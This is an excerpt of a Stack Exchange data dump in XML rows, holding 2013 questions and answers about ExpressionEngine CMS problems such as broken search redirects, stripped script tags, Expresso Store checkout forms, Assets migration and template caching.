  <row Id="8784" PostTypeId="2" ParentId="7531" CreationDate="2013-03-27T17:59:56.880" Score="0" Body="&lt;p&gt;I too had some issues with datepicker and formatting date in safecracker. This may be of further assistance: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/5901/saef-matrix-date-field-custom-layout-datepicker-not-displaying/5932#5932&quot;&gt;SAEF + Matrix + Date_field + custom layout, datepicker not displaying&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="951" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-03-27T17:59:56.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8785" PostTypeId="1" AcceptedAnswerId="8886" CreationDate="2013-03-27T19:05:38.050" Score="1" ViewCount="637" Body="&lt;p&gt;I am pretty confused about this, since I upgraded Expression Engine to 2.5.5 all the searches from the simple search form are going to the 404 page. Here is the search form&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:search:simple_form channel=&quot;bike_families|blog|faq|features|support_resources|team_member|bikes&quot; no_result_page=&quot;search/noresults&quot; result_page=&quot;search/index&quot;}&#xA;         &amp;lt;input type=&quot;search&quot; name=&quot;keywords&quot; placeholder=&quot;Search&quot; id=&quot;keywords&quot; value=&quot;&quot; size=&quot;18&quot; maxlength=&quot;100&quot;&amp;gt;&#xA;         &amp;lt;input type=&quot;submit&quot; value=&quot;Search&quot; class=&quot;submit small&quot;&#xA;{/exp:search:simple_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have checked all my log files and there are no error messages being reported, simplifying the form by removing the channel definition also does not help. I made sure both the result page and the no result page exist and even tried changing the url. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also dugg into the search a bit to see what was being constructed from the search module, it seems to be creating a proper sql query and and not returning 0 results. So something seems to be incorrect in the redirect logic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok I have some more information. If I take a clean setup of the same site, upgrade everything along the same path then search works on that new site with different data. However if I take the code base where it is working and point it at the database of the site with the broken search then the search stops working there. So it seems to be related to the database. Also of note when I do a search it shows in the search logs, and shows that there are x results but then I get a 404 page on the front end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Cory&lt;/p&gt;&#xA;" OwnerUserId="1116" LastEditorUserId="1116" LastEditDate="2013-04-01T14:51:00.500" LastActivityDate="2013-04-01T15:36:30.907" Title="Search results going to 404" Tags="|search|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8786" PostTypeId="2" ParentId="8785" CreationDate="2013-03-27T19:31:08.760" Score="-1" Body="&lt;p&gt;For each of the channels you're searching you need to specifically set the Search Results URL. This is in Admin &gt; Channel Administration &gt; Channels and under Path Settings. In your case make sure they're pointing to &lt;code&gt;/search/index&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-03-27T19:31:08.760" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="8787" PostTypeId="2" ParentId="8776" CreationDate="2013-03-27T20:10:07.237" Score="1" Body="&lt;p&gt;If you ensure that the forward slash is appended to &lt;code&gt;www.site.com/sitemap/&lt;/code&gt; this will tell EE that it is a directory rather than a file and it will go hunting for the index.php file in that directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also try to specifically set the headers for XML files in the .htaccess file to be sure:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Set encoding for file extensions&#xA;&amp;lt;IfModule mod_mime.c&amp;gt;&#xA;  AddType application/xml .xml&#xA;  AddType text/xml .xml .xsl .xsf .xsd&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-03-27T20:10:07.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8788" PostTypeId="2" ParentId="7759" CreationDate="2013-03-27T21:08:43.403" Score="2" Body="&lt;p&gt;&lt;a href=&quot;http://eec.ms/files/mx_msm_themes_1.1.0.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;MX MSM Themes&lt;/a&gt;  - simple ext. which helps to setup CP themes for sites with MSM&#xA;&lt;img src=&quot;https://i.stack.imgur.com/311L4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="932" LastActivityDate="2013-03-27T21:08:43.403" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8789" PostTypeId="1" AcceptedAnswerId="8804" CreationDate="2013-03-27T21:14:27.840" Score="2" ViewCount="266" Body="&lt;p&gt;I'm working on an implementation and I'm using the most current version of the Expresso Store plugin. So far everything is working great, only I'm having trouble getting the payment method form to show up based on the payment method selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I'm using &lt;code&gt;{payment_method_options}&lt;/code&gt; inside of a &lt;code&gt;{exp:store:checkout}&lt;/code&gt; block. I have a select that correctly displays the payment options but I'm unsure how to tie that together with a credit card form (I've used the &lt;a href=&quot;https://exp-resso.com/docs/store/checkout_tag.html#credit_card_details&quot; rel=&quot;nofollow&quot;&gt;Credit Card Details&lt;/a&gt; section of the docs to build a checkout form),or say another payment method like PayPal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have a direction to point me in, or have an example implementation that I could examine?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE v2.5.3&#xA;Store v1.6.3&lt;/p&gt;&#xA;" OwnerUserId="1253" LastActivityDate="2013-03-28T13:35:48.027" Title="Expresso Store : Checkout form based on payment method" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8790" PostTypeId="2" ParentId="7760" CreationDate="2013-03-27T21:45:38.157" Score="1" Body="&lt;p&gt;I've found what the problem is. The is_draft column was missing so I had to create it manually. All the legacy rows had their value for that column set to NULL instead of 0. Updating to 0 brings back the data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had a problem with is_draft missing throwing a MySQL error but the previous time, I just clicked into the fieldtypes settings and it went away. This time it didn't do it which is why I created the column manually.&lt;/p&gt;&#xA;" OwnerUserId="116" LastActivityDate="2013-03-27T21:45:38.157" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8791" PostTypeId="1" AcceptedAnswerId="8794" CreationDate="2013-03-27T22:49:42.157" Score="2" ViewCount="385" Body="&lt;p&gt;I am running ExpressionEngine 2.5.3. Happens something weird: when I save a template from the admin panel, javascript tags in it gets transformed from &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; to &lt;code&gt;[removed]&lt;/code&gt;.&#xA;I have checked file permission, configuration etc, but I can't figure out why this happens.&lt;/p&gt;&#xA;" OwnerUserId="1248" LastEditorUserId="150" LastEditDate="2013-04-11T10:17:36.990" LastActivityDate="2013-04-11T10:17:36.990" Title="JavaScript tag striped out from templates when editing from Admin" Tags="|templates|javascript|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8793" PostTypeId="2" ParentId="8791" CreationDate="2013-03-28T01:00:01.783" Score="1" Body="&lt;p&gt;If it's full javascript, you're using the wrong template type. While the &lt;code&gt;web page&lt;/code&gt; template type will handle references to javascript files, such as &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;/javascripts/modernizr.foundation.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&quot;/javascripts/lib/selectivizr.js?1337120337&quot; type=&quot;text/javascript&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the javascript file-type is preferred for actual javascript. Read, &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/5136/are-there-limitations-to-expressionengines-javascript-templates/5420#5420&quot;&gt;'Are There Limitations on ExpressionEngine's Javascript Handling?'&lt;/a&gt; question by Steve Hurst. The web page template doesn't always protect javascript, so it's frequently better to reference the script and store outside of EE or on the javascript file type. But another option, which may work is to modify the &lt;code&gt;config.php&lt;/code&gt; file to add the hidden variable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['protect_javascript'] = 'y';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;ExpressionEngine has a number of, not needed frequently, but available for use variables, see &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/general/hidden_configuration_variables.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Hidden Variables&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of these should work, assuming there wasn't some odd bug in EE 2.5.3. Is there a reason you haven't updated to 2.5.5? You may also want to upgrade.&lt;/p&gt;&#xA;" OwnerUserId="252" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-03-28T01:00:01.783" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8794" PostTypeId="2" ParentId="8791" CreationDate="2013-03-28T01:58:11.660" Score="2" Body="&lt;p&gt;I've seen this happen when the server was doing some aggressive security stripping.  Modifying the template via FTP didn't show the issue; only submitting via the CP.  So I'd talk to your host about it; and also try via FTP and make sure that works as expected. :)&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-03-28T01:58:11.660" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8795" PostTypeId="1" AcceptedAnswerId="8809" CreationDate="2013-03-28T05:12:19.707" Score="1" ViewCount="62" Body="&lt;p&gt;I'm trying to upgrade an EE1 site that was using MX Universal Editor as it's file manager to use Assets 2 instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment I'm dealing with Matrix fields that have values like /folder/subfolder/subsubfolder/filename.jpg in exp_matrix_data&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I change the column fieldtype to the native file manager, nothing shows up because the image isn't in the root level of the file upload directory, it's in a subfolder of that directory which is why I used the Universal Editor in the first place and why I want to change to Assets now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I change to Assets, again nothing shows up. If I click to browse files and add a file, the file is added succesfully, but if I then save the entry, all the other matrix rows that I haven't updated yet have their data wiped from the db.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After updating the entry by adding my own image with the Assets fieldtype, the value that ends up in db looks like filename.jpg but if I manually update the value to remove /folder/subfolder/subsubfolder/ and then check the entry, still nothing shows up. So is there some other piece of the puzzle missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got several hundred entries all with a handful of images each so I want to find an automatic way of updating all the entries to use Assets successfully.&lt;/p&gt;&#xA;" OwnerUserId="116" LastActivityDate="2013-03-28T22:43:26.217" Title="Updating from MX Universal Editor to Assets" Tags="|assets|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8796" PostTypeId="1" AcceptedAnswerId="9172" CreationDate="2013-03-28T08:27:37.650" Score="7" ViewCount="561" Body="&lt;p&gt;I am using EE's next_entry tag to link to the next entry, and then using a stash/switchee combination to evaluate if we are at the last entry in the loop and if so use a channel entries loop to display the first entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything works fine and it does what I expect with the following code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I turn on EE's template caching, I get a random string as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{6ee64145dfa4ae5926a9c326266d5954499133923}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem seems to be inconsistent as this doesn't happen all the time. Template caching right now is at 60 minutes, but after clicking around a bit the string appears occasionally every few minutes and I haven't found a pattern to the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the block of code I'm using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:next_entry channel=&quot;video&quot; url_title=&quot;{segment_2}&quot; orderby=&quot;date&quot; sort=&quot;asc&quot;}&#xA;&#xA;  {!-- If next_entry doesn't run then we are at the end of the loop so this stash won't be set --}&#xA;  {exp:stash:set name=&quot;st_next_entry&quot;}next{/exp:stash:set}&#xA;&#xA;  &amp;lt;span&amp;gt;Next: &amp;lt;/span&amp;gt;&#xA;  &amp;lt;a href=&quot;{path='{segment_1}'}&quot;&amp;gt;&#xA;    {title}&amp;lt;span&amp;gt; &amp;amp;rsaquo;&amp;lt;/span&amp;gt;&#xA;  &amp;lt;/a&amp;gt;&#xA;{/exp:channel:next_entry}&#xA;&#xA;{exp:stash:parse process=&quot;end&quot;}&#xA;  {switchee variable=&quot;{exp:stash:get name='st_next_entry' random}&quot; parse=&quot;inward&quot;}&#xA;&#xA;    {case value=&quot;next&quot;}&#xA;      {!-- Do Nothing, link to next entry is already displayed --}&#xA;    {/case}&#xA;&#xA;    {case default=&quot;yes&quot;}&#xA;    {!-- Display start entry link, because the next_entry loop didn't run so stash value was left empty --}&#xA;&#xA;      {exp:channel:entries channel=&quot;video&quot; dynamic=&quot;no&quot; disable=&quot;categories|category_fields|member_data|pagination&quot; status=&quot;open&quot; limit=&quot;1&quot; sort=&quot;asc&quot;}&#xA;        &amp;lt;span&amp;gt;Next Video: &amp;lt;/span&amp;gt;&#xA;        &amp;lt;a href=&quot;{url_title_path='{segment_1}'}&quot;&amp;gt;&#xA;          {title}&amp;lt;span&amp;gt; &amp;amp;rsaquo;&amp;lt;/span&amp;gt;&#xA;        &amp;lt;/a&amp;gt;&#xA;        &amp;lt;br /&amp;gt;&#xA;      {/exp:channel:entries}&#xA;&#xA;    {/case}&#xA;  {/switchee}&#xA;{/exp:stash:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm guessing that the {6ee64145dfa4ae5926a9c326266d5954499133923} string is actually a placeholder of some sort and that the template parser isn't getting around to filling in the proper value when I turn on the template caching.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for any assistance you can provide.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if someone knows their way around EE's native tag caching options and how to use the cache=&quot;yes&quot; refresh=&quot;60&quot; parameters. Are they only for EE native tags, or can it be used across the board for any exp: tag, including also related_entries/reverse_related_entries tag pairs and the output of 3rd party plugins?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;oliver&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1255" LastActivityDate="2017-06-24T00:04:27.223" Title="Stash, switchee and template caching outputs a random string {6ee64145dfa4ae5926a9c326266d5954499133923}" Tags="|stash|switchee|next-prev|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8798" PostTypeId="1" AcceptedAnswerId="8803" CreationDate="2013-03-28T11:26:55.067" Score="4" ViewCount="409" Body="&lt;p&gt;I'm scratching my head to find the best way to output a nested category list that contains channel entries for child cats...something like this&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;h1 Parent Category Name&#xA;&#xA;    h2 Child Category Name 1&#xA;        Channel Entry 1 in Child Category&#xA;        Channel Entry 2 in Child Category&#xA;        More Channel Entries in category....&#xA;&#xA;    h2 Child Category Name 2&#xA;        More Channel Entries in Child Category.....&#xA;&#xA;&#xA; h1 Parent Category Name&#xA;     .....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I'm thinking the only way to get the job done would be stash or php, but the solutions I've found so far don't do seem to handle this kind of nested category setup&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any ideas?&lt;/p&gt;&#xA;" OwnerUserId="336" LastEditorUserId="336" LastEditDate="2013-03-28T14:59:27.863" LastActivityDate="2013-03-28T14:59:27.863" Title="output nested categories plus channel entries" Tags="|categories|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8799" PostTypeId="2" ParentId="8798" CreationDate="2013-03-28T12:21:54.320" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://ee-garage.com/nsm-categories&quot; rel=&quot;nofollow&quot;&gt;NSM Categories&lt;/a&gt; might be able to do what you need.&lt;/p&gt;&#xA;" OwnerUserId="116" LastActivityDate="2013-03-28T12:21:54.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8800" PostTypeId="1" AcceptedAnswerId="8802" CreationDate="2013-03-28T12:24:10.203" Score="1" ViewCount="108" Body="&lt;p&gt;Fairly new to ExpressionEngine. I'll try to briefly summarize what I'm trying to achieve since I haven't found any answers as of yet, which have properly worked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have an image gallery template, with the images being shown by a channel loop. When one is clicked, instead of simply showing the image by itself (by a permalink, I presume) in the same template style, I'd like for it to be shown in a separate template, so for example the image could be seen shown in a larger size, along with whatever other info: caption, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried linking the images to {url_title_path='template_group/template'} so that I could generate the same channel entry in another template - and it seemed to work, however all my images (besides the ones uploaded through the channel) were missing. Perhaps because I'm using relative image paths? I still don't know what image url method is best for ExpressionEngine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On top of that, my {path='home'} link which is the url to my index didn't work anymore as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what would be the best solution to linking the same channel entry to another template?&lt;/p&gt;&#xA;" OwnerUserId="1256" LastActivityDate="2013-03-28T13:05:50.343" Title="Different template for the same channel" Tags="|channel-entries|templates|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8801" PostTypeId="2" ParentId="8774" CreationDate="2013-03-28T12:49:51.240" Score="1" Body="&lt;p&gt;Unfortunately this doesn't look to be possible from the Store interface. In the gateway itself it is pulling in the transaction ID and using that as the vendor TX code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Gateways are designed to be plug and play however so there's no reason why you couldn't duplicate the existing gateway and then set the vendor TX code to be something specific other than transaction ID:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$request['VendorTxCode'] = $this-&amp;gt;param('transaction_id');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-03-28T12:49:51.240" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8802" PostTypeId="2" ParentId="8800" CreationDate="2013-03-28T13:05:50.343" Score="1" Body="&lt;p&gt;What you need to use is &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#title-permalink&quot; rel=&quot;nofollow&quot;&gt;{title_permalink}&lt;/a&gt; and you'd pass in the template_group/template that you want to link to to display your image. For instance:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{title_permalink=&quot;image/view&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where 'image' is your template group and 'view' is your template to display a single image. The URL will something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mydomain.com/index.php/image/view/image-name&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;'image-name' will be the title of your image entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the second issue regarding your link to the home page, ensure that &lt;code&gt;home&lt;/code&gt; is the name of your template group and that this template group is set as the default template group - indicated by the pink star next to it. This follows the same suit in being set to template_group/template so if that doesn't work then include the index page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{path=&quot;home/index}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-03-28T13:05:50.343" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8803" PostTypeId="2" ParentId="8798" CreationDate="2013-03-28T13:12:38.970" Score="2" Body="&lt;p&gt;Default category handling in EE can be limited so I'd highly recommend &lt;a href=&quot;http://devot-ee.com/add-ons/gwcode-categories&quot; rel=&quot;nofollow&quot;&gt;GWCode Categories&lt;/a&gt;. It's free, very versatile, and well documented. You could achieve your nested categories as simply as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;example&quot; disable=&quot;categories|member_data|pagination&quot;}&#xA;    &amp;lt;b&amp;gt;{title}&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&#xA;    {exp:gwcode_categories entry_id=&quot;{entry_id}&quot;}&#xA;        {group_heading}{cat_group_name}{/group_heading}&#xA;        {cat_name}&#xA;    {/exp:gwcode_categories}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://gwcode.com/add-ons/gwcode-categories/examples/example1&quot; rel=&quot;nofollow&quot;&gt;Example here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-03-28T13:12:38.970" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8804" PostTypeId="2" ParentId="8789" CreationDate="2013-03-28T13:35:48.027" Score="2" Body="&lt;p&gt;This depends on whether you're taking payment on-site or off-site (handing over to the payment gateway's servers to take the payment and then sending the users back to your site). If you're taking payments on your site then you really need to be &lt;a href=&quot;https://www.pcisecuritystandards.org/security_standards/&quot; rel=&quot;nofollow&quot;&gt;PCI-DSS compliant&lt;/a&gt; which is no small feat. Personally I'd always look hand over to the payment gateway to keep things simple.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are sending over to the payment gateway then you wont need the card details form on your site. All you'd need to do is to set the &lt;a href=&quot;https://exp-resso.com/docs/store/checkout_tag.html#payment_method&quot; rel=&quot;nofollow&quot;&gt;payment_method&lt;/a&gt; as the parameter on your store checkout tag along with a &lt;a href=&quot;https://exp-resso.com/docs/store/checkout_tag.html#return&quot; rel=&quot;nofollow&quot;&gt;return&lt;/a&gt; URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'd need to make sure that you've setup your chosen gateway in Store &gt; Settings &gt; Payment methods, first. Create the new gateway, ensure that it's enabled and then enter in your account credentials.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're allowing the user to select their payment method then that can be provided with a simple dropdown:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{field:payment_method}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note, that you'll need to setup the payment methods in Store Settings first to see them appear in this dropdown.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-03-28T13:35:48.027" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8805" PostTypeId="1" CreationDate="2013-03-28T13:59:35.520" Score="3" ViewCount="130" Body="&lt;p&gt;I know how to set up custom styles in Wyvern and Wygwam so that my client can apply, say, a &amp;lt;dfn&gt; tag or &amp;lt;abbr&gt; tag to some text. And I can set attributes within that tag. But the values of the attributes (in this case, &lt;strong&gt;lang&lt;/strong&gt; and &lt;strong&gt;title&lt;/strong&gt; attributes) are hard-coded via the custom style configuration. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way, using either Wygwam or Wyvern, to let the client specify the content of those attributes without them having to click the Source button and wallow around, shrieking, in the raw horror of HTML?&lt;/p&gt;&#xA;" OwnerUserId="307" LastActivityDate="2014-04-07T15:55:29.297" Title="Any way to get Wyvern or Wygwam to set a tag PLUS its required attributes?" Tags="|wygwam|wyvern|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8807" PostTypeId="2" ParentId="8805" CreationDate="2013-03-28T15:38:56.250" Score="1" Body="&lt;p&gt;That should be possible by just adding a custom styleset. You can create a new .js file and then set the values in a Javascript array format:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CKEDITOR.stylesSet.add( 'my_styles',&#xA;[&#xA;    { name: 'Abbreviation', element: 'abbr', attributes: { 'lang': 'en' } }&#xA;]);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Full documentation is &lt;a href=&quot;http://docs.cksource.com/CKEditor_3.x/Developers_Guide/Styles&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you're using Wygwam for instance then create a new folder in the themes third party directory and call it something easy to recognise such as:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/themes/third_party/wygwam_assets&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create your new .js file inside this folder with the above (or something similar) in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then tell Wygwam where to find the new styleset. In Addons &gt; Modules &gt; Wygwam select the configuration you want to use the new styleset. Then &quot;Add an advanced setting&quot; and choose &quot;styleSet&quot;. In the text field that then appears enter the following (with your specific paths and file names replaced):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;my_styles:/themes/third_party/wygwam_assets/my_styles.js&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-03-28T15:38:56.250" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8808" PostTypeId="1" CreationDate="2013-03-28T15:41:18.313" Score="1" ViewCount="85" Body="&lt;p&gt;How can I get the date when the cart was last modified?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am doing some AJAX stuff and I want to use the date string as a cache buster. &lt;/p&gt;&#xA;" OwnerUserId="779" LastActivityDate="2013-03-28T18:15:11.587" Title="Exp:resso Store Cart date" Tags="|expresso-store|ajax|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8809" PostTypeId="2" ParentId="8795" CreationDate="2013-03-28T17:17:09.470" Score="0" Body="&lt;p&gt;Assets doesn't do its business in the &lt;code&gt;exp_matrix_data&lt;/code&gt; or &lt;code&gt;exp_channel_data&lt;/code&gt; tables. It uses its own &lt;code&gt;exp_assets_selections&lt;/code&gt; table, where it references a &lt;code&gt;file_id&lt;/code&gt; (entry in &lt;code&gt;exp_assets_files&lt;/code&gt;), then &lt;code&gt;entry_id&lt;/code&gt; and other relevant columns. That's the table you'll need to populate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for each file in a Matrix:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Grab the relevant entry ID, field ID, col ID and row ID.&lt;/li&gt;&#xA;&lt;li&gt;Extract the file name and find the ID of that file in &lt;code&gt;exp_assets_files&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Enter that data in &lt;code&gt;exp_assets_selections&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-03-28T17:17:09.470" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8810" PostTypeId="1" AcceptedAnswerId="9717" CreationDate="2013-03-28T17:17:43.050" Score="2" ViewCount="508" Body="&lt;p&gt;I have entry linking working in multiple templates on my current EE site. In one of my channels, when I get to the end of the loop, it's displaying a next link to an entry in a different channel. It is the next sequencial entry ID though. There isn't a previous link when i'm at the first entry in the loop. The entry that is displaying in the in correct channel shares the same parent page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Here's my structure hierarchy&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;About Us&#xA; - Leadership&#xA;   - has listing entries that have next/previous entry linking. Last entry has entry_id 106&#xA;&#xA; - Galleries&#xA;   - Video Galleries&#xA;     - Page 1 Child page with entry_id 107&#xA;     - Page 2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Next/Previous entry linking logic&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p class=&quot;next_prev_nav&quot;&amp;gt;&#xA;    {exp:channel:prev_entry channel=&quot;leadership&quot;}&#xA;            &amp;lt;a href=&quot;/about-us/senior-leadership/{url_title}&quot; title=&quot;{title}&quot;&amp;gt;Previous&amp;lt;/a&amp;gt;&#xA;    {/exp:channel:prev_entry}&#xA;&#xA;    {exp:channel:next_entry channel=&quot;leadership}&#xA;            &amp;lt;a href=&quot;/about-us/senior-leadership/{url_title}&quot; title=&quot;{title}&quot;&amp;gt;Next&amp;lt;/a&amp;gt;&#xA;    {/exp:channel:next_entry}&#xA;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried to just do a quick hack and add entry_id=&quot;not 107&quot; on the next_entry tag but that broke the next link for all listing pages. Entry ID 107 has it's own channel for videos, so it's not a rogue entry. Any one know how to fix this?&lt;/p&gt;&#xA;" OwnerUserId="134" LastActivityDate="2013-04-25T20:10:22.713" Title="Next/Previous Entry Linking + Structure showing entry from different channel" Tags="|channel-entries|structure|navigation|entryid|" AnswerCount="1" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
